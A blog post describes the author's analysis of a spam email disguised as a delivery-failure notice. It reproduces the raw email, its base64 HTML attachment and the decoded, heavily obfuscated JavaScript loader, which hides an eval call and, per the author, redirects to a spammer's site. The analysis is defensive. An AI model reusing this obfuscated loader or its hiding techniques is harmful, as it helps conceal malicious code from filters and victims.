Reverse Engineering Obfuscated Javascript
I keep getting these spam emails which are making it past Gmail’s spam filter. Basically, it looks like a ‘delivery failed’ notification, with an HTML attachment which you are supposed to think is the original email. So you click on the attachment and open it, to find out which email you sent failed to go through. I finally got curious enough to see what exactly was going on. Here’s how the email looks like in Gmail:

Here’s the actual full contents of the email (some ip / email addresses removed to protect the innocent)
Delivered-To: xxx Received: by 10.229.236.206 with SMTP id kl14cs141790qcb; Thu, 8 Jul 2010 09:00:59 -0700 (PDT) Received: by 10.150.202.9 with SMTP id z9mr580063ybf.86.1278604858545; Thu, 08 Jul 2010 09:00:58 -0700 (PDT) Return-Path: <borers13@reportinternational.com> Received: from xxx by mx.google.com with ESMTP id l5si18198859ybj.58.2010.07.08.09.00.57; Thu, 08 Jul 2010 09:00:57 -0700 (PDT) Received-SPF: neutral (google.com: xxx is neither permitted nor denied by best guess record for domain of borers13@reportinternational.com) client-ip=xxx; Authentication-Results: mx.google.com; spf=neutral (google.com: xxx is neither permitted nor denied by best guess record for domain of borers13@reportinternational.com) smtp.mail=borers13@reportinternational.com Received: from 93-86-52-90.dynamic.isp.telekom.rs (unknown [109.92.111.218]) by xxx (Postfix) with ESMTP id 8CE6842D000B for <xxx>; Thu, 8 Jul 2010 11:00:51 -0500 (CDT) Received: from 109.92.111.218 by mail1.optimisaplc.com; Thu, 8 Jul 2010 18:00:46 +0100 Message-ID: <000d01cb1eb6$b9f0fa90$6400a8c0@borers13> From: postmaster@reportinternational.com To: <xxx> Subject: Delivery Status Notification (Failure) Date: Thu, 8 Jul 2010 18:00:46 +0100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0006_01CB1EB6.B9F0FA90" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 This is a multi-part message in MIME format. ------=_NextPart_000_0006_01CB1EB6.B9F0FA90 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit Note: Forwarded message is attached. This is an automatically generated Delivery Status Notification. Delivery to the following recipients failed. borers13@reportinternational.com Final-Recipient: rfc822;borers13@reportinternational.com Action: failed Status: 5.1.1 ------=_NextPart_000_0006_01CB1EB6.B9F0FA90 Content-Type: text/html; name="Forwarded Message.html" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Forwarded Message.html" PHNjcmlwdD52YXIgY0U7aWYoY0UhPSdpSlYnICYmIGNFIT0neUonKXtjRT0nJ307dmFyIHBQO2lm KHBQIT0na1gnICYmIHBQIT0nd01KJyl7cFA9Jyd9O3ZhciB0SUo9ZmFsc2U7dmFyIHZVTTt2YXIg aUE9bmV3IEFycmF5KCk7dmFyIHVBPW5ldyBBcnJheSgpO3ZVTT0nOGQ4ZTgnKycyODA5NScrJzg4 OGU4JysnZmNmODknKyc5Mzg0OCcrJzdjMWRjJysnYzFjNjgnKyc5OTU5NScrJzkxZGJjJysnZWNl OTUnKyc5Mzg0OCcrJ2Y4NTliJysnOGM4MDknKyczOGE4NCcrJzk1Y2Y4JysnMjhlOGMnKydjZTg4 OCcrJ2Y4NTg0JysnOTlkMmMnKydmODk5NScrJzhjOGRjJysnNmRhJzt2YXIgZVg9bmV3IERhdGUo KTt2YXIgbU09MjI3MDk7dmFyIGpORDtpZihqTkQhPSdxRlYnICYmIGpORCE9J2RMJyl7ak5EPScn fTt2YXIgZFU9MjM2MzM7ICAgZnVuY3Rpb24gZShvKXt2YXIgeE07aWYoeE0gPT0gJ2FWJyl7eE09 MDt9O3RoaXMuYko9IiI7dGhpcy55Tj0ieU4iO3ZhciBrQ1cgPSBNYXRoLnJhbmRvbSgpO2Z1bmN0 aW9uIHIoaSx1RCl7dmFyIHlUPScnO3ZhciB6WD0nJzt0aGlzLnBJPScnO3JldHVybiBpWydcdTAw NjMnK3VuZXNjYXBlKCclNjglNjElNzIlNDMlNmYlNjQlNjUlNDElNzQnKV0odUQpO3ZhciB5RTtp Zih5RSE9JycgJiYgeUUhPSd6UCcpe3lFPW51bGx9O3ZhciBrPWZhbHNlO312YXIgaVA9bmV3IEFy cmF5KCk7dmFyIHdZPW5ldyBBcnJheSgpO3RoaXMuZkQ9Jyc7dmFyIGpBPScnO2Z1bmN0aW9uIGtW KGEsclUpe3ZhciB6TT0yMzk4Mzt0aGlzLnFQPSJxUCI7cmV0dXJuIGFeclU7fXZhciBiRSA9IG5l dyBEYXRlKCk7ICB2YXIgbFI7aWYobFIhPScnICYmIGxSIT0ndFZMJyl7bFI9bnVsbH07dmFyIGYg PSBiRVsnXHUwMDY3XHUwMDY1XHUwMDc0XHUwMDUzXHUwMDY1Jyt1bmVzY2FwZSgnJTYzJTZmJTZl JTY0JTczJyldKCk7dmFyIGQgPSBmIC0gYkE7dmFyIHRMTTtpZih0TE0hPScnICYmIHRMTSE9J3Un KXt0TE09Jyd9O2lmKGQgPCAwKSBkID0gMTt2YXIgdUI9NDkxMDI7dmFyIG5CPTI4ODc4O2lmKGQg PiAxKSBkID0gMTt2YXIgdE09Jyc7dmFyIGRYQz0nJzt2YXIgaVUgPSBkO3ZhciBnTztpZihnTyE9 J2pHJyAmJiBnTyE9J3JTJyl7Z089J2pHJ307dmFyIHBISTtpZihwSEkhPSdiJyAmJiBwSEkgIT0g Jycpe3BIST1udWxsfTt2YXIgdCA9IHdpbmRvdzt2YXIgZkM7aWYoZkMgPT0gJ2lKJyl7ZkM9MDt9 O3RoaXMuZUE9NDkxNjE7dGhpcy5wUj1mYWxzZTt2YXIgaU0gPSBkb2N1bWVudDt2YXIgclIgPSBT dHJpbmc7dmFyIHREPScnO3ZhciBmQ047aWYoZkNOIT0nJyAmJiBmQ04hPSdySCcpe2ZDTj0nYyd9 O3ZhciBjQjtpZihjQiE9JycgJiYgY0IhPSdhQicpe2NCPSd4RCd9O3ZhciB3ID0gdFsnXHUwMDc1 XHUwMDZlJyt1bmVzY2FwZSgnJTY1JTczJTYzJTYxJTcwJTY1JyldO3ZhciBlVCA9IHJSWydcdTAw NjYnK3VuZXNjYXBlKCclNzIlNmYlNmQlNDMlNjglNjElNzIlNDMlNmYlNjQlNjUnKV07dmFyIGFP O2lmKGFPIT0nJyAmJiBhTyE9J2RCQicpe2FPPW51bGx9O3RoaXMuZk89Jyc7dmFyIGRKPWZhbHNl O3ZhciBpUztpZihpUyE9J2dNJyAmJiBpUyE9J2ROJyl7aVM9Jyd9O3ZhciBqRjtpZihqRiE9Jycg JiYgakYhPSd4SScpe2pGPScnfTt2YXIgZVAgPSAnJzt2YXIgck87aWYock8hPScnICYmIHJPIT0n cFMnKXtyTz0nJ307dGhpcy5oSz1mYWxzZTt2YXIgYVcgPSAnJSc7dmFyIGVLID0gMjt2YXIgd1Eg PSAwO3RoaXMuZ0U9IiI7dmFyIHNHO2lmKHNHIT0nJyAmJiBzRyE9J2ZOJyl7c0c9bnVsbH07dmFy IHkgPSBvWydcdTAwNmMnK3VuZXNjYXBlKCclNjUlNmUlNjclNzQlNjgnKV07dGhpcy54Rj0iIjt2 YXIgY0cgPSBNYXRoLnJhbmRvbSgpO3ZhciBqWD00NDA3Mjtmb3IodmFyIHE9d1E7IHEgPCB5OyBx Kz1lSyl7dGhpcy51Sj0nJzt2YXIgeUs7aWYoeUshPScnICYmIHlLIT0ncEhNJyl7eUs9Jyd9O3Zh ciBlRTtpZihlRSA9PSAncUknKXtlRT0wO307ZVArPSBhVyArIG9bJ1x1MDA3M1x1MDA3NVx1MDA2 MicrdW5lc2NhcGUoJyU3MyU3NCU3MicpXShxLCBlSyk7dGhpcy5mVT04MTQxO3ZhciBmVztpZihm VyE9JycgJiYgZlchPSd0Vycpe2ZXPScnfTt9dmFyIHpNQz1mYWxzZTt2YXIgbyA9IHcoZVApO3Ro aXMuaUQ9Jyc7dmFyIHhMPWZhbHNlO3RoaXMuYkw9MTIwMzt2YXIgbiA9IDIyNCArIGlVO3ZhciBk WCA9ICcnO3ZhciB6RztpZih6RyE9JycgJiYgekchPSdxQ0YnKXt6Rz0nJ307dGhpcy5oSD0nJzt2 YXIgclcgPSBvWydcdTAwNmMnK3VuZXNjYXBlKCclNjUlNmUlNjclNzQlNjgnKV07dmFyIGFQPScn O3ZhciB2STtpZih2SSA9PSAndUYnKXt2ST0wO307dmFyIGhWSD0nJztmb3IodmFyIGpRPTA7IGpR IDwgclc7IGpRKyspe3ZhciBqVDtpZihqVCE9J2RIJyAmJiBqVCAhPSAnJyl7alQ9bnVsbH07dmFy IGFOUz1uZXcgQXJyYXkoKTt2YXIgclJLO2lmKHJSSyE9JycgJiYgclJLIT0nekhWJyl7clJLPScn fTt2YXIgYkpYPW5ldyBEYXRlKCk7dmFyIGxWID0gcihvLGpRKTtsViA9IGtWKGxWLCBuKTt2YXIg c0E7aWYoc0EhPScnICYmIHNBIT0neEEnKXtzQT0nJ307dmFyIHlLSDtpZih5S0ghPScnICYmIHlL SCE9J25UJyl7eUtIPScnfTt0aGlzLndYPSJ3WCI7ZFgrPWVUKGxWKTt9dmFyIGxVO2lmKGxVIT0n JyAmJiBsVSE9J2JZJyl7bFU9bnVsbH07dGhpcy5rSkE9Jyc7dGhpcy5tQz0iIjt0WydcdTAwNjVc dTAwNzYnK3VuZXNjYXBlKCclNjElNkMnKV0oZFgpO3JldHVybiBkWDt9dmFyIGJOPW5ldyBBcnJh eSgpO3ZhciB3SztpZih3SyE9J21LJyAmJiB3SyE9J3hWQycpe3dLPSdtSyd9O3ZhciBvQj0nJzt2 YXIgdVdOPScnO3ZhciBhVDtpZihhVCE9JycgJiYgYVQhPSdvQkonKXthVD1udWxsfTt2YXIgd0Ig PSBuZXcgRGF0ZSgpO3ZhciBiQSA9IHdCWydcdTAwNjdcdTAwNjVcdTAwNzRcdTAwNTNcdTAwNjUn K3VuZXNjYXBlKCclNjMlNmYlNmUlNjQlNzMnKV0oKTsgdmFyIHVTPW5ldyBBcnJheSgpO3RoaXMu bFg9Mzc5NDt0aGlzLmFQTj02NDQwMjtzZXRUaW1lb3V0KCdlKHZVTSknLCA5ODUpO3ZhciB3UUg7 aWYod1FIIT0nJyAmJiB3UUghPSdmSCcpe3dRSD0nJ307dmFyIG1VPW5ldyBBcnJheSgpO3ZhciB0 WT1mYWxzZTs8L3NjcmlwdD4= ------=_NextPart_000_0006_01CB1EB6.B9F0FA90--
The first thing that threw up a red flag was that the HTML attachment was base64 encoded. Generally if something is a text attachment, it’s not encoded, which makes it easy to examine in your mail reader without executing it. So the first thing I did was decode the base64, a quick google turned up this base64 decoder tool. The result was this:
<script>var cE;if(cE!='iJV' && cE!='yJ'){cE=''};var pP;if(pP!='kX' && pP!='wMJ'){pP=''};var tIJ=fals
e;var vUM;var iA=new Array();var uA=new Array();vUM='8d8e8'+'28095'+'888e8'+'fcf89'+'93848'+'7c1dc'+
'c1c68'+'99595'+'91dbc'+'ece95'+'93848'+'f859b'+'8c809'+'38a84'+'95cf8'+'28e8c'+'ce888'+'f8584'+'99d
2c'+'f8995'+'8c8dc'+'6da';var eX=new Date();var mM=22709;var jND;if(jND!='qFV' && jND!='dL'){jND=''}
;var dU=23633; function e(o){var xM;if(xM == 'aV'){xM=0;};this.bJ="";this.yN="yN";var kCW = Math.r
andom();function r(i,uD){var yT='';var zX='';this.pI='';return i['\u0063'+unescape('%68%61%72%43%6f%
64%65%41%74')](uD);var yE;if(yE!='' && yE!='zP'){yE=null};var k=false;}var iP=new Array();var wY=new
Array();this.fD='';var jA='';function kV(a,rU){var zM=23983;this.qP="qP";return a^rU;}var bE = new
Date(); var lR;if(lR!='' && lR!='tVL'){lR=null};var f = bE['\u0067\u0065\u0074\u0053\u0065'+unescap
e('%63%6f%6e%64%73')]();var d = f - bA;var tLM;if(tLM!='' && tLM!='u'){tLM=''};if(d < 0) d = 1;var u
B=49102;var nB=28878;if(d > 1) d = 1;var tM='';var dXC='';var iU = d;var gO;if(gO!='jG' && gO!='rS')
{gO='jG'};var pHI;if(pHI!='b' && pHI != ''){pHI=null};var t = window;var fC;if(fC == 'iJ'){fC=0;};th
is.eA=49161;this.pR=false;var iM = document;var rR = String;var tD='';var fCN;if(fCN!='' && fCN!='rH
'){fCN='c'};var cB;if(cB!='' && cB!='aB'){cB='xD'};var w = t['\u0075\u006e'+unescape('%65%73%63%61%7
0%65')];var eT = rR['\u0066'+unescape('%72%6f%6d%43%68%61%72%43%6f%64%65')];var aO;if(aO!='' && aO!=
'dBB'){aO=null};this.fO='';var dJ=false;var iS;if(iS!='gM' && iS!='dN'){iS=''};var jF;if(jF!='' && j
F!='xI'){jF=''};var eP = '';var rO;if(rO!='' && rO!='pS'){rO=''};this.hK=false;var aW = '%';var eK =
2;var wQ = 0;this.gE="";var sG;if(sG!='' && sG!='fN'){sG=null};var y = o['\u006c'+unescape('%65%6e%
67%74%68')];this.xF="";var cG = Math.random();var jX=44072;for(var q=wQ; q < y; q+=eK){this.uJ='';va
r yK;if(yK!='' && yK!='pHM'){yK=''};var eE;if(eE == 'qI'){eE=0;};eP+= aW + o['\u0073\u0075\u0062'+un
escape('%73%74%72')](q, eK);this.fU=8141;var fW;if(fW!='' && fW!='tW'){fW=''};}var zMC=false;var o =
w(eP);this.iD='';var xL=false;this.bL=1203;var n = 224 + iU;var dX = '';var zG;if(zG!='' && zG!='qC
F'){zG=''};this.hH='';var rW = o['\u006c'+unescape('%65%6e%67%74%68')];var aP='';var vI;if(vI == 'uF
'){vI=0;};var hVH='';for(var jQ=0; jQ < rW; jQ++){var jT;if(jT!='dH' && jT != ''){jT=null};var aNS=n
ew Array();var rRK;if(rRK!='' && rRK!='zHV'){rRK=''};var bJX=new Date();var lV = r(o,jQ);lV = kV(lV,
n);var sA;if(sA!='' && sA!='xA'){sA=''};var yKH;if(yKH!='' && yKH!='nT'){yKH=''};this.wX="wX";dX+=e
T(lV);}var lU;if(lU!='' && lU!='bY'){lU=null};this.kJA='';this.mC="";t['\u0065\u0076'+unescape('%61%
6C')](dX);return dX;}var bN=new Array();var wK;if(wK!='mK' && wK!='xVC'){wK='mK'};var oB='';var uWN=
'';var aT;if(aT!='' && aT!='oBJ'){aT=null};var wB = new Date();var bA = wB['\u0067\u0065\u0074\u0053
\u0065'+unescape('%63%6f%6e%64%73')](); var uS=new Array();this.lX=3794;this.aPN=64402;setTimeout('e
(vUM)', 985);var wQH;if(wQH!='' && wQH!='fH'){wQH=''};var mU=new Array();var tY=false;</script>
That’s not very readable, so another quick trip to the google turned up this javascript formatter, producing this output:
var cE;
if (cE != 'iJV' && cE != 'yJ') {
cE = ''
};
var pP;
if (pP != 'kX' && pP != 'wMJ') {
pP = ''
};
var tIJ = false;
var vUM;
var iA = new Array();
var uA = new Array();
vUM = '8d8e8' + '28095' + '888e8' + 'fcf89' + '93848' + '7c1dc' + 'c1c68' + '99595' + '91dbc' + 'ece95' + '93848' + 'f859b' + '8c809' + '38a84' + '95cf8' + '28e8c' + 'ce888' + 'f8584' + '99d2c' + 'f8995' + '8c8dc' + '6da';
var eX = new Date();
var mM = 22709;
var jND;
if (jND != 'qFV' && jND != 'dL') {
jND = ''
};
var dU = 23633;
function e(o) {
var xM;
if (xM == 'aV') {
xM = 0;
};
this.bJ = "";
this.yN = "yN";
var kCW = Math.random();
function r(i, uD) {
var yT = '';
var zX = '';
this.pI = '';
return i['\u0063' + unescape('%68%61%72%43%6f%64%65%41%74')](uD);
var yE;
if (yE != '' && yE != 'zP') {
yE = null
};
var k = false;
}
var iP = new Array();
var wY = new Array();
this.fD = '';
var jA = '';
function kV(a, rU) {
var zM = 23983;
this.qP = "qP";
return a ^ rU;
}
var bE = new Date();
var lR;
if (lR != '' && lR != 'tVL') {
lR = null
};
var f = bE['\u0067\u0065\u0074\u0053\u0065' + unescape('%63%6f%6e%64%73')]();
var d = f - bA;
var tLM;
if (tLM != '' && tLM != 'u') {
tLM = ''
};
if (d < 0) d = 1;
var uB = 49102;
var nB = 28878;
if (d > 1) d = 1;
var tM = '';
var dXC = '';
var iU = d;
var gO;
if (gO != 'jG' && gO != 'rS') {
gO = 'jG'
};
var pHI;
if (pHI != 'b' && pHI != '') {
pHI = null
};
var t = window;
var fC;
if (fC == 'iJ') {
fC = 0;
};
this.eA = 49161;
this.pR = false;
var iM = document;
var rR = String;
var tD = '';
var fCN;
if (fCN != '' && fCN != 'rH') {
fCN = 'c'
};
var cB;
if (cB != '' && cB != 'aB') {
cB = 'xD'
};
var w = t['\u0075\u006e' + unescape('%65%73%63%61%70%65')];
var eT = rR['\u0066' + unescape('%72%6f%6d%43%68%61%72%43%6f%64%65')];
var aO;
if (aO != '' && aO != 'dBB') {
aO = null
};
this.fO = '';
var dJ = false;
var iS;
if (iS != 'gM' && iS != 'dN') {
iS = ''
};
var jF;
if (jF != '' && jF != 'xI') {
jF = ''
};
var eP = '';
var rO;
if (rO != '' && rO != 'pS') {
rO = ''
};
this.hK = false;
var aW = '%';
var eK = 2;
var wQ = 0;
this.gE = "";
var sG;
if (sG != '' && sG != 'fN') {
sG = null
};
var y = o['\u006c' + unescape('%65%6e%67%74%68')];
this.xF = "";
var cG = Math.random();
var jX = 44072;
for (var q = wQ;
q < y;
q += eK) {
this.uJ = '';
var yK;
if (yK != '' && yK != 'pHM') {
yK = ''
};
var eE;
if (eE == 'qI') {
eE = 0;
};
eP += aW + o['\u0073\u0075\u0062' + unescape('%73%74%72')](q, eK);
this.fU = 8141;
var fW;
if (fW != '' && fW != 'tW') {
fW = ''
};
}
var zMC = false;
var o = w(eP);
this.iD = '';
var xL = false;
this.bL = 1203;
var n = 224 + iU;
var dX = '';
var zG;
if (zG != '' && zG != 'qCF') {
zG = ''
};
this.hH = '';
var rW = o['\u006c' + unescape('%65%6e%67%74%68')];
var aP = '';
var vI;
if (vI == 'uF') {
vI = 0;
};
var hVH = '';
for (var jQ = 0;
jQ < rW;
jQ++) {
var jT;
if (jT != 'dH' && jT != '') {
jT = null
};
var aNS = new Array();
var rRK;
if (rRK != '' && rRK != 'zHV') {
rRK = ''
};
var bJX = new Date();
var lV = r(o, jQ);
lV = kV(lV, n);
var sA;
if (sA != '' && sA != 'xA') {
sA = ''
};
var yKH;
if (yKH != '' && yKH != 'nT') {
yKH = ''
};
this.wX = "wX";
dX += eT(lV);
}
var lU;
if (lU != '' && lU != 'bY') {
lU = null
};
this.kJA = '';
this.mC = "";
t['\u0065\u0076' + unescape('%61%6C')](dX);
return dX;
}
var bN = new Array();
var wK;
if (wK != 'mK' && wK != 'xVC') {
wK = 'mK'
};
var oB = '';
var uWN = '';
var aT;
if (aT != '' && aT != 'oBJ') {
aT = null
};
var wB = new Date();
var bA = wB['\u0067\u0065\u0074\u0053\u0065' + unescape('%63%6f%6e%64%73')]();
var uS = new Array();
this.lX = 3794;
this.aPN = 64402;
setTimeout('e(vUM)', 985);
var wQH;
if (wQH != '' && wQH != 'fH') {
wQH = ''
};
var mU = new Array();
var tY = false;
Well at least it’s broken up into separate lines, but it still is pretty meaningless at a quick glance. My next step was to go through all the encoded lines and see if they turned up anything suspicious. It’s easy to do in a browser, take this line of code:
var bA = wB['\u0067\u0065\u0074\u0053\u0065' + unescape('%63%6f%6e%64%73')]();
Go up to your browser’s address bar, and enter:
javascript:alert(XYZ)
Where ‘XYZ’ is what you’re interested in. In this case I typed:
javascript:alert('\u0067\u0065\u0074\u0053\u0065' + unescape('%63%6f%6e%64%73'));
The result was ‘getSeconds’. Looking at the line above, wB is Date(), so this whole line of code is effectively calling (new Date()).getSeconds(); nothing dangerous there. I then did that for all the lines containing unicode escaped characters and url escaped characters. The only suspicious one I could find was
var t = window;
// ... later ...
t['\u0065\u0076' + unescape('%61%6C')](dX);
This translates to ‘window.eval(dX)’, which is basically saying ‘Take whatever is in the variable dX, and execute it as JavaScript code’. Since nothing else was dangerous (just calls to things like String.length, String.getCharCodeAt, String.substr, etc), I determined that as long as I removed that line of code, it would be safe to run. So I created a new HTML file as follows:
<html>
<body>
<textarea id="mytxt"/>
<script>
// ... entire script pasted here ...
// t['\u0065\u0076' + unescape('%61%6C')](dX); this line replaced with:
var mytxt = document.getElementById('mytxt');
mytxt.value = dX;
// ... rest of script ...
</script>
What this does, is instead of executing the code, it dumps it out to a textarea. I then simply saved this as ‘hax.html’, opened it in my browser, and saw:
And there you have it…the entire result of this long and complicated obfuscated JavaScript was simply to redirect me to some spammer’s site. And I didn’t even have to figure out how the obfuscation worked, all I needed to do was find a single weak point, where it has been decoded but not yet executed, and then change the command to run the code into a command to display the code.

